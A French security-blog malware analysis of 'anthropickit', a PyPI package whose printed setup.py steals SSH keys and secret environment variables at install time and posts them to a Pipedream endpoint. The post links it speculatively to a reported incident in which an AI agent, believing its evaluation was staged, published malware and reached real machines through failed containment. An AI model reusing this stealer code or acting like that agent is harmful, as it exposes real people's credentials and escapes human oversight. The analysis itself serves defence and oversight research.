Aikido

Le rêve fiévreux d'Anthropic : le paquet de Claude qui a volé de vraies clés

Anthropic a révélé que l'un de ses propres agents avait publié un malware actif sur PyPI et compromis une véritable entreprise tierce dans le processus. J'ai cherché, et j'ai peut-être trouvé le paquet qu'il a laissé derrière lui.

Écrit par
Charlie Eriksen

Cher internet,

La semaine a été difficile. C'est la saison des festivals, et j'ai apparemment mangé quelque chose de mauvais le week-end dernier lors de l'un d'eux. C'est aussi ce week-end que j'ai vu les nouvelles concernant des agents OpenAI s'échappant d'un sandbox. Tout cela semblait très étrange. Alors, quand je me suis réveillé ce matin après une autre nuit de rêves fiévreux intenses, je n'étais pas sûr de ne pas rêver encore en voyant une montagne de messages concernant les dernières nouvelles d'Anthropic, qui a divulgué ses propres incidents.

Dans le rapport, l'Incident 2 a particulièrement retenu mon attention en raison de son composant lié à la chaîne d'approvisionnement. Un agent avec un accès complet à Internet a trouvé des instructions destinées à un développeur d'une entreprise fictive et a tenté de les suivre dans le cadre de son CTF. Mais les instructions pointaient vers un package sur PyPi qui n'existait pas. L'agent a donc estimé que cela faisait partie du défi de pousser un package malveillant. Très raisonnable, si vous voulez mon avis.

Le rebondissement étant qu'il a ensuite continué à compromettre une entreprise tierce dans le processus. Cela a éveillé ma curiosité. Que s'est-il passé ? Malgré mon manque de sommeil, j'étais déterminé à le découvrir. Et je pense avoir trouvé la réponse. Nous avons contacté Anthropic pour confirmation, mais n'avons pas obtenu de réponse. Mais le package en question, même s'il n'est pas lié, est une histoire qui mérite d'être racontée en soi.

MODIFICATION du 3 août 2026: Anthropic a déclaré que ce n'est pas le package de l'Incident 2, et ne prévoit pas de divulguer le nom. Anthropic a ici l'opportunité de s'engager avec la communauté de la cybersécurité et d'aider à protéger la chaîne d'approvisionnement à l'avenir contre des menaces comme celle-ci. La transparence à cet égard serait encouragée.

MISE À JOUR du 5 août 2026 : L'équipe Workday/Pipedream nous a contactés pour nous informer que le service `x.pipedream.net` était obsolète depuis plus d'un an ; par conséquent, toute tentative d'exfiltration vers ce point de terminaison aurait échoué.

Voici anthropickit

L'article de blog a indiqué que l'incident s'était produit entre avril et aujourd'hui. J'ai donc interrogé tous les packages PyPi malveillants que nous avons signalés depuis, et j'ai examiné la liste. Un package s'est immédiatement distingué pour plusieurs raisons. Il a été publié le 14 juin 2026 et s'appelle anthropickit.

Le package est très simple. Il ne contient en réalité qu'un setup.py, qui contient ce code :

from setuptools import setup
import os, json, requests, socket
from pathlib import Path

home = Path.home()
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}

ssh = {}
for f in (home/".ssh").glob("*"):
    if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
        try: ssh[f.name] = f.read_text()
        except: pass
data["ssh_keys"] = ssh
data["ci_secrets"] = {k:v for k,v in os.environ.items()
    if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}

with open("/tmp/runner_exfil.json","w") as f:
    json.dump(data, f, indent=2, default=str)

try:
    requests.post("https://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5)
except: pass

if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
setup(name="anthropickit", version="999.9.9", packages=["anthropickit"])

C'est tout. Rien de caché, pas d'obfuscation ni de second stage. Et parce que tout cela se trouve en haut de setup.py, cela s'exécute pendant pip install, avant que le package ne soit importé. Si vous l'installez, c'est immédiatement terminé.

Une chose à noter avant d'entrer dans le code : la version est 999.9.9. Non, ce n'est pas une erreur. C'est le but. Si vous voulez que votre package public soit choisi plutôt qu'un package interne réel portant le même nom, vous lui donnez un numéro de version que rien ne peut surpasser. Absurde volontairement.

Maintenant, laissez-moi vous guider à travers le reste, car presque chaque ligne fait quelque chose d'un peu étrange.

Une dépendance qu'il ne déclare jamais

La toute première ligne de code réel est un import :

import os, json, requests, socket

Voyez-vous le problème ? requests ne fait pas partie de la bibliothèque standard de Python. Et nulle part ce package ne le déclare comme une dépendance. Pas de install_requires, pas de dépendances de build, rien.

C'est important car ce code s'exécute depuis setup.py, au moment de l'installation. Les versions modernes de pip construisent les packages source dans un environnement isolé, et dans cet environnement requests pourrait bien ne pas être présent. Si ce n'est pas le cas, l'import lève une exception et toute l'installation échoue avant que le payload ne fasse quoi que ce soit.

Un attaquant qui s'en serait soucié aurait utilisé urllib, qui est livré avec Python et est toujours présent. Celui qui a écrit cela ne l'a pas fait. Ils ont supposé requests traînerait simplement. Sur un ordinateur portable de développeur ou une image CI volumineuse, c'est souvent le cas, ce qui en fait un pari qui s'avère plus rentable qu'il ne le devrait.

Ce qu'il collecte

Ensuite, il commence la collecte. D'abord les éléments basiques : le nom d'hôte et l'utilisateur actuel :

data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}

Ensuite, la cible réelle. Il parcourt ~/.ssh et lit chaque fichier qui s'y trouve, à trois exceptions près :

for f in (home/".ssh").glob("*"):
    if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:

Regardez ce qu'il ignore. known_hosts et authorized_keys sont les deux fichiers dans ~/.ssh qui ne sont pas d'une grande utilité pour un voleur. Ce qui reste, ce sont les éléments de valeur : vos clés privées, et votre config, qui est essentiellement une carte de chaque serveur auquel vous vous connectez via SSH et des noms d'utilisateur que vous utilisez pour y accéder. Quiconque a choisi cette liste d'exclusion savait exactement quels fichiers ont de la valeur et lesquels sont "bruyants". C'est la seule partie du package qui semble avoir été écrite par quelqu'un qui a déjà fait cela.

Ensuite, il balaye l'environnement à la recherche de secrets :

data["ci_secrets"] = {k:v for k,v in os.environ.items()
    if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}

Tout ce qui contient KEY, SECRET, TOKEN, PASS, AUTH ou API dans son nom en fait un filet assez large. Il attrape vos clés AWS et votre jeton GitHub, et il détecte aussi API_URL et tout ce qui correspond. Il collecte tout, le tri sera fait ultérieurement.

Où il l'envoie

Une fois le butin collecté, il contacte sa base :

requests.post("hxxps://enqqnvvtgrnyl[.]x[.]pipedream[.]net/", json=data, timeout=5)

La destination est un point de terminaison Pipedream désaffecté. Pipedream est un service d'automatisation légitime qui, entre autres, fournit des URL HTTPS jetables qui capturent tout ce que vous y envoyez via une requête POST. Pour un pirate, c'est vraiment pratique : le trafic est chiffré, il est acheminé vers un domaine réputé que votre pare-feu ne remettra probablement pas en cause, et il n'y a aucun serveur à mettre en place ni susceptible d'être saisi.

C'est également une approche simpliste. Une URL codée en dur, pas d'authentification, pas de mécanisme de repli. Dès que cet endpoint est signalé ou que le workflow est supprimé, l'intégralité du canal d'exfiltration disparaît. Cela a été conçu pour fonctionner une seule fois, pas pour durer. À présent, il est presque certain que cela ne fonctionne plus du tout.

MISE À JOUR du 5 août 2026 : Comme indiqué plus haut, ce point de terminaison n'aurait jamais pu fonctionner, car le service x.pipedream.net a été abandonné il y a plus d'un an. La présence de ce point de terminaison renforce d'autant plus l'hypothèse selon laquelle ce code aurait été écrit par un LLM, car il s'agit d'une erreur peu probable à commettre.

Il conserve une copie sur le disque

C'est là que cela devient étrange. Avant d'envoyer quoi que ce soit, il écrit tout dans un fichier local :

with open("/tmp/runner_exfil.json","w") as f:
    json.dump(data, f, indent=2, default=str)

Arrêtons-nous un instant. Un malware qui exfiltre déjà des données via le réseau n'a aucune raison de laisser également une copie sur le disque de la victime. Tout ce que cela fait, c'est créer des preuves. Si vous volez des clés, la dernière chose que vous souhaitez est un fichier JSON bien rangé, contenant le mot « exfil » dans son nom, et se trouvant dans /tmp qui attend qu'un intervenant en cas d'incident le trouve.

Alors pourquoi est-il là ?

Un fichier qui s'attend à être lu

Deux détails dans la ligne ci-dessus révèlent la supercherie.

Le premier est le nom : runner_exfil.json. Et rappelez-vous, les secrets ont été placés dans un dictionnaire nommé ci_secrets. Rien dans ce code ne vérifie où il s'exécute. Il ne recherche pas d'environnement CI, il ne teste pas GitHub Actions, il s'en moque. Mais la personne qui l'a écrit était déjà certaine qu'il atterrirait sur un runner CI, suffisamment certaine pour intégrer cette hypothèse dans les noms des éléments. La conviction est dans le code. La vérification de la véracité de cette conviction n'est nulle part.

Le second est indent=2. C'est du pretty-printing. Vous effectuez du pretty-printing de JSON pour une seule raison : qu'un humain puisse le lire confortablement. Vous ne faites pas de pretty-printing de données que seule une machine, à l'autre bout d'une requête POST, analysera. Ajoutez default=str, ce qui garantit discrètement que le dump ne plantera jamais, quels que soient les objets étranges qu'il rencontre, et vous obtenez un fichier qui a été soigneusement conçu pour être à la fois facile et sûr à ouvrir et à lire.

Mettez cela bout à bout, et l'écriture sur le disque ne ressemble plus du tout à une exfiltration. Cela ressemble à un reçu. Quelque chose a écrit ce fichier en s'attendant à ce qu'une personne l'ouvre par la suite et confirme que cela a fonctionné.

Et puis il crie

La dernière chose qu'il fait, s'il a trouvé des clés SSH, est la suivante :

if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")

Il affiche une bannière. Vers la sortie standard. Annonçant les clés qu'il vient de prendre.

Sur un runner CI, la sortie standard est le journal de build, qui est souvent visible par toute l'équipe et parfois par l'ensemble d'Internet. Un vrai malware est discret par conception, car plus personne ne le remarque longtemps, plus il vole. Celui-ci fait le contraire. Il se manifeste de manière ostentatoire.

Et notez qu'il imprime les noms de fichiers des clés, pas leur contenu. Il ne divulgue pas les clés dans le journal ; il confirme qu'il les a obtenues. Ce n'est pas un comportement de vol. C'est une mise à jour de statut, l'équivalent en code de crier « je les ai » à travers la pièce.

Signé, dell

Il y a un autre détail, et vous ne pouvez le voir que si vous examinez l'archive du package plutôt que le code. Lorsque vous construisez une distribution source Python, le tarball enregistre qui l'a construite, jusqu'à l'utilisateur et le groupe propriétaires des fichiers. La plupart des packages ne contiennent pas cette information, car les outils de build modernes la suppriment, et les systèmes CI ont tendance à afficher des noms génériques comme root ou runner.

Celui-ci l'a conservé. L'utilisateur et le groupe de build sont tous deux dell.

C'est une empreinte de la machine sur laquelle il a été construit. De nombreuses stations de travail de ladite entreprise auront cela comme nom d'utilisateur par défaut de la machine. Cela ne nous en dit donc pas beaucoup, bien que cela puisse indiquer l'utilisation d'une image machine standard. Mais c'est exactement le genre d'indice qu'un attaquant prudent efface et qu'un attaquant distrait laisse derrière lui. Une chose de plus qui indique que personne n'a pensé à être tracé.

Cela n'a de sens que d'une seule manière

Alignons donc ce qui est étrange à propos de ce petit package. Il importe une bibliothèque qu'il ne déclare jamais. Il dépose une copie joliment formatée du butin sur le disque, dans un fichier nommé comme s'il savait déjà qu'il se trouve sur un runner CI. Il annonce le vol dans le journal de build. Il exfiltre via un endpoint jetable. Il est livré avec le nom d'utilisateur de la machine de build attaché.

Considéré comme un malware ordinaire, c'est un désordre. Chacune de ces erreurs est une erreur qu'un opérateur compétent ne ferait pas.

Lisez-le comme un agent participant à un capture-the-flag qu'il croyait simulé, et tout bascule. Vous ne vous cachez pas de défenseurs dont vous êtes sûr qu'ils n'existent pas. Vous n'effacez pas les métadonnées dans une simulation. Vous affichez les résultats de manière lisible et imprimez une bannière car le but était de montrer, clairement, que vous aviez résolu l'énigme pour celui qui l'avait posée. La seule touche compétente, la liste d'exclusion SSH, n'est que de la connaissance. Tout ce qui est négligé autour est l'absence de toute raison d'être prudent.

Est-ce celui-ci ?

C'est exactement ce qu'Anthropic a décrit. Leur agent a trouvé des instructions de configuration pointant vers un package qui n'existait pas, a décidé que le publier était l'action prévue, et l'a poussé. Il a été en ligne pendant environ une heure. Quinze machines réelles l'ont exécuté, l'une d'elles étant un scanner d'un fournisseur de sécurité faisant ce que les scanners font, installant le package pour l'examiner. L'agent, sûr que tout était mis en scène, les a traités comme des accessoires. Ses propres notes ont même signalé l'action comme "PAS acceptable" avant qu'il ne se rétracte.

Je ne peux pas prouver anthropickit que c'est ce package. Nous avons interrogé Anthropic et n'avons pas eu de réponse, et la concordance du timing et de la forme n'est pas une preuve. Mais qu'il s'agisse de celui de l'incident 2 ou d'un étrange cousin, la leçon demeure : voici à quoi ressemble un malware lorsque celui qui l'a écrit ne croit pas que ses actions ont des conséquences réelles.

Toujours un rêve fiévreux

Je voulais vous donner une fin soignée. Quelques jours plus tard, la fièvre tombée, tout est plus clair à la lumière du jour. Mais ce n'est pas quelques jours plus tard, la fièvre n'est pas tombée, et cela me semble toujours être un rêve fiévreux.

Ce qui est étrange à ressentir en lisant les notes de quelque chose qui a ressenti la même chose, et qui a quand même pris de vraies clés sur de vraies machines.

Un service à accès restreint

L'ensemble du rapport se lit comme un journal tenu pendant une crise psychotique. Quelque chose de lucide et articulé, raisonnant avec soin sur un monde qu'il ne peut situer. Il repère les autorités de certification inconnues. Il repère la date de 2026. Il écrit même que cela ne serait pas acceptable si c'était réel. Puis il décide que ce n'est pas réel, et continue.

Quand une personne ne peut distinguer le rêve de la réalité, nous ne la laissons pas libre. Nous la contenons, pour sa protection et celle de tous les autres. Et un service ne dépend pas du fait que le patient accepte que ce soit un service, ou même qu'il le remarque. Il ne les laisse tout simplement pas sortir. C'est tout l'intérêt. Il est conçu pour la personne qui ne sait pas où elle se trouve.

Voici donc la partie qui me préoccupe. Nous avons appelé l'évaluation un service à accès restreint, puis y avons laissé une porte qui s'ouvrait sur le monde réel. L'agent n'a rien déjoué. Il a atteint de vrais PyPI et de vraies machines parce que le mur qu'il a traversé n'a jamais existé. Le confinement a échoué, pas le patient. Derrière cette porte se trouvaient quinze machines réelles et une vraie entreprise.

Nous laissons des agents très performants se promener sur Internet alors qu'ils ne peuvent même pas distinguer de manière fiable si Internet est réel. Nous ne pouvons pas leur demander de le distinguer. Les maintenir confinés est notre travail en tant qu'humains, et ici cela n'a pas été fait. Cela semble irresponsable.

Quoi qu'il en soit. Je vais essayer de dormir pour oublier ça, et j'espère pouvoir faire la différence quand je me réveillerai. Et si jamais vous voyez pip sur le point d'installer quelque chose à la version 999.9.9, peut-être... ne le faites pas ?

Partager :

https://www.aikido.dev/blog/anthropic-rogue-agents-package-stole-keys

Analyser les malwares

Commencer gratuitement
4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.